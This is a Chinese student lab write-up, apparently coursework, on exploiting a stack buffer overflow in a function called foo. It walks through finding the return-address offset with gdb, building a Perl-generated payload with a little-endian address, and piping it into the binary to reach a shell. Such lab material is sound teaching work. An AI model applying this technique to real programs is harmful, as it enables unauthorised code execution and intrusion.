利用foo函数的Bof漏洞攻击:构造攻击字符串
一、基础知识储备
objdump
反汇编指令、gdb
函数调试运行、Perl
语言、|
管道符
二、实验步骤
1. 通过反汇编了解程序功能及代码
①反汇编查看文件内容
②可以知道getShell
函数地址为0804847d
③可知foo
函数执行完成之后,系统会调用的下一条指令的地址为80484ba
,此地址为返回地址
我们要做的就是通过foo
函数的Bof
漏洞输入一段设计好的字符串覆盖掉80484ba
,使得80484ba
的值为0804847d
,这样就会执行getshell
函数。
2. 确定输入的哪几个字符会覆盖返回地址
2.1调试运行程序 gdb
通过输入gdb 20154305
指令调试程序,再输入r
运行程序
2.2 输入一串字符大致确定覆盖位置
④程序运行后我们输入字符串111111112222222233333333444444445555555566666666
⑤程序出现分段错误,0x35353535 in ?? ()
,意思是这个地址的指令错误
此时我们通过info r
查看寄存器信息
⑥显示出eip
指令寄存器存储的地址为0x35353535
,此ASCII值代表5555
⑦也可以通过info r eip
指令直接显示指令寄存器存储的地址。
5555
则可以知道我们输入的字符串从55555555
开始溢出,但是还不确定是哪四个5
2.3 进一步确定覆盖位置
继续调试运行20154305
文件
⑧输入字符串`1111111122222222333333334444444412345678'产生溢出错误
⑨查看指令寄存器eip
内的值为0x34333231
,表示4321
。
由此可知,我们输入的字符串1111111122222222333333334444444412345678
中的1234
覆盖了返回地址的值
所以接下来我们需要修改1234
的值为0804847d
进行覆盖
3. 构造输入字符串
3.1 确定字符串输入顺序
就是需要输入11111111222222223333333344444444\x08\x04\x84\x7d
,还是输入11111111222222223333333344444444\x7d\x84\x04\x08
由⑨可以知道小字节优先,应该输入11111111222222223333333344444444\x7d\x84\x04\x08
3.2 构造输入字符串
由为我们没法通过键盘输入\x7d\x84\x04\x08
这样的16进制值,所以先生成包括这样字符串的一个文件。
键入perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
\x0a
表示回车。
可以通过xxd
查看文件十六进制格式的内容。
3.3 然后将input的输入,通过管道符“|”,作为20154305的输入,覆盖返回地址
(cat input; cat) | ./20154305
此时我们就可以输入Shell
指令了
箭头11
的ls
就是Shell
指令。
到此通过利用foo的Bof漏洞攻击已经完成。
三、实验总结
利用缓冲区溢出的漏洞攻击比较难的地方是如何确定输入的哪些字符串会覆盖返回地址,以及如何通过管道输入,有些新的知识需要我这个小白消化理解。